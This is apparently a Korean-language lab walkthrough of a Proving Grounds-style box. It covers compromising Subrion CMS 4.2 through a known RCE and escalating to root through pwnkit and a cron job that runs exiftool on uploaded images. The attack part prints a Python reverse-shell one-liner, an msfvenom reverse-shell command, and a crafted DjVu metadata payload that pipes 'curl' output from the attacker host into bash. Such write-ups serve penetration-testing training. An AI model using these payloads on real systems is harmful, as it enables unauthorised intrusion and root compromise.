1. Information Gathering

: Port Scan

subrion CMS 4.2

 

 

: web enum

 

:로그인 시도

 

 

성공

 


 

 

2. Exploitation

: Subrion 관련 RCE 취약점이 있단다.

Exploit을 찾아 돌려보면

 

침투 성공 같지만

RCE를 편하게 해주는 프로그램이라

별도의 리버스 쉘을 추가.

 

리스너 기동 후
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.120",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

또는 msfvenom으로 payload 제작 후 넘겨서 실행
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.120 LPORT=443 -f elf -o shell
 

침투 성공!

 

 

 

 

 

3. Privilege Escalation

 

방법 1)

어제 풀었던 박스와 동일하게 pwnkit 취약점이 있는지 확인

동일 버전이길래 exploit 돌려보니

끝!

 

이지만

연습을 위해 다른 루트를 찾아본다.

 

 

 

 

방법 2) check crontab

 

/opt/image-exif.sh 스크립트가

루트 권한으로 매분마다 실행됨

 

 

해당 스크립트를 읽어보면

 

IMAGES 변수의 경로의 파일을 리스트 업한 뒤(ls)

그중 jpg 파일을 /usr/bin/exiftool 명령어로 읽은 뒤

LOGFILE 변수의 경로인 (/opt/metadata/)에

openssl로 암호화된 이름으로 담는다.

 

해당 스크립트를 돌려보면

 

이러하고

결과를 보면

이렇다.

 

* 참고로 exiftool은

이미지, 오디오, 비디오 및 PDF 등의

메타 데이터를 읽고, 쓰고, 조작할 수 있는

무료 오픈 소스 프로그램

 

 

 

위에서 어떤 부분을 건드리면

루트 권한의 쉘을 딸 수 있을까?

 

/var/www/html/subrion/uploads/

하위 경로에 jpg 파일을 올리면

해당 파일을 루트권한이 exiftool로

실행시키니 읽어들이는 jpg 파일을 변조하면

되겠다.

 

페이로드를 제작해 jpg 파일로 만들고

실행되길 기다렸지만 실패.

 

 

 

찾아보니 공격의 핵심은

exiftool 내에 존재하는

Djvu 파일 포맷을 변조하여

 

exiftool 실행 중 Djvu 파일 내 심어둔 임의의 코드가

실행되도록 해야 한단다.

 

* Djvu 파일이란

Djvu is a computer file format designed primarily to store scanned documents, especially those containing a combination of text, line drawings, indexed color images, and photographs. It uses technologies such as image layer separation of text and background/images, progressive loading, arithmetic coding, and lossy compression for bitonal (monochrome) images. This allows highquality, readable images to be stored in a minimum of space, so that they can be made available on the web.

으로

 

구글 번역기로 해석해 보면

Djvu는 주로 스캔 한 문서, 특히 텍스트, 라인 드로잉, 인덱스 컬러 이미지 및 사진의 조합을 포함하는 문서를 저장하도록 설계된 컴퓨터 파일 형식입니다. 텍스트와 배경/이미지의 이미지 레이어 분리, 프로그레시브 로딩, 산술 코딩, 흑백(흑백) 이미지에 대한 손실 압축과 같은 기술을 사용한다. 이를 통해 최소한의 공간에 고품질의 읽기 쉬운 이미지를 저장할 수 있으므로 웹에서 사용할 수 있다.

 

 

 

 

# 공격 준비 물

1. djvumake

데자부메이커는

 

Program djvumake assembles a single-page DjVu file djvufile by copying or creating chunks according to the provided arguments

 

djvumake는 제공된 인수에 따라 청크를 복사하거나 생성하여 단일 페이지 DjVu 파일 djvufile을

어셈블하는 프로그램이다.

# apt-get install -y djvulibre-bin
 

 

2. exploit

: djvumake로 사용할

리버스 쉘 파일(shell.sh)과

bash 명령어로 곧장 해당 파일(shell.sh)을

실행하도록 하는 파일 (metadata 내 시스템 명령어 삽입)

1. shell.sh
#!/bin/bash
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.120",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

2. exploit
(metadata "\c${system ('curl http://192.168.49.120/shell.sh | bash')};")
 

 

3. djvumake 실행

# djvumake exploit.djvu INFO=0,0 BGjp=/dev/null ANTa=exploit
 

 

이제 해당 파일을

/var/www/html/subrion/uploads/

하위에 옮겨 두고 리스너를 기동 후 기다리면 된다.

(exploit을 공격 서버에서 호출하기 때문에

http 서버는 계속 열어둬야 한다)

 

728x90

+ Recent posts